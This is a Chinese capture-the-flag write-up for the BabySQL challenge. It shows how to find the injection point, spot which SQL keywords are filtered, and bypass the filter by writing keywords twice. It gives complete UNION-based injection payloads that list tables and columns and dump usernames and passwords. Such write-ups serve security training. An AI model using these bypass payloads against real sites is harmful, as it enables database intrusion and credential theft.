[极客大挑战 2019]BabySQL

刚看到题目,上面写着过滤了很多,所以要注意

  1. 试探性地先在两个参数后面加单引号来测试注入点,发现两个都可以,我选择了后者

  2. 在使用#和--+时发现#被过滤,因为用#时它没有报错,但是--+报错了,所以只能用--+

  3. 在‘后加order by 1语句时发现返回der 1 ,证明or 和 by 都被过滤掉了,试试双写绕过,成功,所以可以绕过,数字增加,到了4不行,说明有三个回显位

  4. 于是正常联合查询,但显示

    use near '.tables  table_schema='geek'-- '' at line 1
    

    发现union select也被过滤,试了试from、where也是被过滤了

    所以都双写绕过

    注意因为or被过滤information中的or也双写绕过

查询表playload:' ununionion selselectect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema='geek'--+

同样方法查询列,发现and也被过滤,双写绕过

查询列playload:' ununionion selselectect 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql'--+

同样方法查出flag

playload:' ununionion selselectect 1,2,concat(id,'-',username,'-',passwoorrd) frfromom geek.b4bsql limit 7,1--+

总结:此题不难,正常注入语法就行,只是要通过回显的错误来判断过滤掉的关键词

上一篇:Linux 文件描述符详解


下一篇:有了这款geek卸载工具,让你卸载不在烦恼!